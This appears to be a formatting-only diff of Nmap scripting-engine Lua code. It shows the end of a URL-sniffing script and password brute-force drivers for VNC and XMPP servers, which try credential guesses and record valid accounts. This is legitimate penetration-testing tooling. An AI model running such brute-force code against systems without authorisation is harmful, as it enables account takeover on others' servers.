if ( arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start ) then
stop = os.time()
break
end
until(false)
if ( counter > 0 ) then
return ("\n Sniffed %d URLs in %d seconds"):format(counter, stop - start)
end
end

View File

@@ -41,106 +41,106 @@ portrule = shortport.port_or_service(5901, "vnc", "tcp", "open")
Driver =
{
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
new = function(self, host, port)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
return o
end,
connect = function( self )
local status, data
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
status, data = self.vnc:connect()
if ( not(status) ) then
local err = brute.Error:new( "VNC connect failed" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return true
end,
--- Attempts to login to the VNC server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
connect = function( self )
local status, data
self.vnc = vnc.VNC:new( self.host.ip, self.port.number )
status, data = self.vnc:connect()
if ( not(status) ) then
local err = brute.Error:new( "VNC connect failed" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return true
end,
--- Attempts to login to the VNC server
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local status, data = self.vnc:handshake()
if ( not(status) and ( data:match("Too many authentication failures") or
data:match("Your connection has been rejected.") ) ) then
local err = brute.Error:new( data )
err:setAbort( true )
return false, err
elseif ( not(status) ) then
local err = brute.Error:new( "VNC handshake failed" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
local status, data = self.vnc:handshake()
if ( not(status) and ( data:match("Too many authentication failures") or
data:match("Your connection has been rejected.") ) ) then
local err = brute.Error:new( data )
err:setAbort( true )
return false, err
elseif ( not(status) ) then
local err = brute.Error:new( "VNC handshake failed" )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
status, data = self.vnc:login( nil, password )
status, data = self.vnc:login( nil, password )
if ( status ) then
return true, brute.Account:new("", password, creds.State.VALID)
elseif ( not( data:match("Authentication failed") ) ) then
local err = brute.Error:new( data )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
if ( status ) then
return true, brute.Account:new("", password, creds.State.VALID)
elseif ( not( data:match("Authentication failed") ) ) then
local err = brute.Error:new( data )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
return false, brute.Error:new( "Incorrect password" )
end,
end,
disconnect = function( self )
self.vnc:disconnect()
end,
disconnect = function( self )
self.vnc:disconnect()
end,
check = function( self )
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
local status, data
check = function( self )
local vnc = vnc.VNC:new( self.host.ip, self.port.number )
local status, data
status, data = vnc:connect()
if ( not(status) ) then
return stdnse.format_output( false, data )
end
status, data = vnc:connect()
if ( not(status) ) then
return stdnse.format_output( false, data )
end
status, data = vnc:handshake()
if ( not(status) ) then
return stdnse.format_output( false, data )
end
status, data = vnc:handshake()
if ( not(status) ) then
return stdnse.format_output( false, data )
end
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
return false, "No authentication required"
end
if ( vnc:supportsSecType(vnc.sectypes.NONE) ) then
return false, "No authentication required"
end
status, data = vnc:login( nil, "is_sec_mec_supported?" )
if ( data:match("The server does not support.*security type") ) then
return stdnse.format_output( false, " \n " .. data )
end
status, data = vnc:login( nil, "is_sec_mec_supported?" )
if ( data:match("The server does not support.*security type") ) then
return stdnse.format_output( false, " \n " .. data )
end
return true
end,
return true
end,
}
action = function(host, port)
local status, result
local engine = brute.Engine:new(Driver, host, port )
local status, result
local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
engine.options:setOption( "passonly", true )
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
engine.options:setOption( "passonly", true )
status, result = engine:start()
status, result = engine:start()
return result
return result
end

View File

@@ -47,94 +47,94 @@ ConnectionPool = {}
Driver =
{
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port, options )
local o = { host = host, port = port, options = options }
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port, options )
local o = { host = host, port = port, options = options }
setmetatable(o, self)
self.__index = self
return o
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
local status, err = self.helper:connect()
if ( not(status) ) then return false, err end
ConnectionPool[coroutine.running()] = self.helper
end
return true
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.helper = ConnectionPool[coroutine.running()]
if ( not(self.helper) ) then
self.helper = xmpp.Helper:new( self.host, self.port, self.options )
local status, err = self.helper:connect()
if ( not(status) ) then return false, err end
ConnectionPool[coroutine.running()] = self.helper
end
return true
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = self.helper:login( username, password, mech )
if ( status ) then
self.helper:close()
self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close()
self.helper:connect()
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = self.helper:login( username, password, mech )
if ( status ) then
self.helper:close()
self.helper:connect()
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .* data$") ) then
self.helper:close()
self.helper:connect()
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
}
action = function(host, port)
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
local helper = xmpp.Helper:new(host, port, options)
local status, err = helper:connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to XMPP server"
end
local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
local helper = xmpp.Helper:new(host, port, options)
local status, err = helper:connect()
if ( not(status) ) then
return "\n ERROR: Failed to connect to XMPP server"
end
local mechs = helper:getAuthMechs()
if ( not(mechs) ) then
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
end
local mechs = helper:getAuthMechs()
if ( not(mechs) ) then
return "\n ERROR: Failed to retreive authentication mechs from XMPP server"
end
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
for _, mp in ipairs(mech_prio) do
for m, _ in pairs(mechs) do
if ( mp == m ) then mech = m; break end
end
if ( mech ) then break end
end
for _, mp in ipairs(mech_prio) do
for m, _ in pairs(mechs) do
if ( mp == m ) then mech = m; break end
end
if ( mech ) then break end
end
if ( not(mech) ) then
return "\n ERROR: Failed to find suitable authentication mechanism"
end
if ( not(mech) ) then
return "\n ERROR: Failed to find suitable authentication mechanism"
end
local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
local engine = brute.Engine:new(Driver, host, port, options)
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
return result
return result
end